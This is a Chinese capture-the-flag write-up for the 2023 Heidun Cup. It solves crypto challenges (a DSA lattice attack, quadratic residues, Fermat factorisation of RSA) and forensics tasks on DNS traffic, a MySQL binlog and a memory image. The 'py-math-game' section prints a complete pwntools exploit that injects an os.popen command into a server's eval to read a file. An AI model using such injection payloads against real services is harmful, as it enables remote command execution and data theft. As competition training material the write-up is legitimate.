黑盾杯 2023
水一篇,比较简单的比赛。
初赛
DDSA
nc获得一组数据,然后造个格。
from Crypto.Util.number import *
p = 254843759712120770192107797102254314236912507988317949449773952808056853528137124034192193635099026436082859359975257478069529928753465466553898924428657727410192480025664330547720267491593689914315716652925690802124634579341155119238992435231736067051804606192447508930100501670982605518547228404550199336703
q = 127421879856060385096053898551127157118456253994158974724886976404028426764068562017096096817549513218041429679987628739034764964376732733276949462214328863705096240012832165273860133745796844957157858326462845401062317289670577559619496217615868033525902303096223754465050250835491302759273614202275099668351
h = 0xfccd22bbc6d5957905f57d54d95e0c6b7a5fde74701a82de1f3899303b6998ba
r = 51632190679040035560514329339360519573707698967091801587835864681674301365282618157253925213553506505694779040620368151669518057526877095256242331935452146156137987064353521209413897057669641033972026222846940018741048516736731912656094623386679301903145629533668884850747299485428595026024772402572595907901
s = 55863044615479633697534327681655247271260986321168748371933011989563336212023596582786960793101865199826553900093810066144328183342777886837824351539662817628399017669073707739379896384319101613925834783017868294407513514637879189611877485532383207103959844765561102994708613269433015230001120219583859948307
M = Matrix([
[2^384, 0, 0, h*2^1000], # m
[0, 1, 0, r*2^1000], # x*m
[0, 0, 2^(31*8+384), s*2^1000], # 1
[0, 0, 0, q*2^1000], # a
])
k = M.LLL()[0][0]
k = -k
print(long_to_bytes(k >> 384).decode())
DNS-流量分析
分析dns协议,可以发现dns请求的子域名就是压缩包的hex,数据量很小于是手动复制,恢复压缩包后爆破弱口令。
mylog
分析mysql binlog文件可以观测到f1ag
关键字,于是把对该关键字的sql操作提取一下:
根据这些sql操作恢复flag为flag{heidun-2023-heidun}
复赛
py-math-game
在计算出server给的公式之后,可以向server提供一个算式,猜测应该是eval或者exec执行的,利用返回值为执行结果的popen进行命令执行:__import__("os").popen("cat flag.txt").read()
,完整exp:
from pwn import *
io = remote('39.104.26.167',47468)
#io.interactive()
while True:
io.recvuntil(b'Answer my question:\n')
exec(io.recvline())
cal = io.recvline()[:-4].replace(b'X',b'*')
res = eval(cal)
io.recvuntil(b'Input your answer in 3 seconds:')
#print(res)
io.sendline(str(res).encode())
#io.interactive()
print(io.recvline())
io.sendline(b'__import__("os").popen("cat flag.txt").read()')
print(io.recvline())
print(io.recvline())
D-Vault
首先要求解压的密码,用二次剩余判断恢复key即可:
c = []
a = 3154360777410506828246987116345256890184577383710274549100253493102602370771512079662661389298064379349297671822832361451806819324117030877860973333011340
b = 8900107603684880848823856015698573019396167226852451507348909846939656375296450863804117308625379057367448138177656005285817843532255952396258070802639631
print(is_prime(b))
key = ''
for i in c:
if kronecker(i,b)== 1:
key = key + '1'
else:
key = key + '0'
print(key)
from Crypto.Util.number import *
print(long_to_bytes(int(key,2)))
解开以后是另一个task,漏洞主要在calculatedPrime = primeInput + additionalValue
,这样的素数生成方式可能存在p和q差距不大的可能,于是费马分解,一分钟左右出结果。最后解rsa即可。
from primefac import fermat,my_Pollards_p_1
from Crypto.Util.number import *
n = 48987035266621570140500934158858469620652835271063616519590308851385164518812176119432534420734277362711792614791426200799757611807348629322492530155834607900572623099776762149434109471388050773769939238534778764654212836597317471500184403294922913039713899744399761233554012047484398858823558893408196807033
c = 693909607850188675261359248783950968733272320668635843434595630676499018450648340514019367315972407940651562028697048971462221049402273630628220856691302688729211290030474876308280832203342641870897948093276586900984306145890597215601814018695147806669836298644708893223604707150805438780680758909628673559
# print(n.bit_length())
# p =fermat(n)
# print(p)
p = 6999073886352505861828865523726145615715622939609254559883769255121569001121841158857698042431959748498857301944315109298207150699400414193682015474279029
q = n//p
f = (p-1)*(q-1)
print(long_to_bytes(pow(c,inverse(65537,f),n)))
QZ
大概是非预期解。对flag{
进行base64编码得到ZmxhZ3s=
,于是直接用strings命令提取:strings lm.lime | grep ZmxhZ3
,得到如下内容:
然后对base编码解密即可。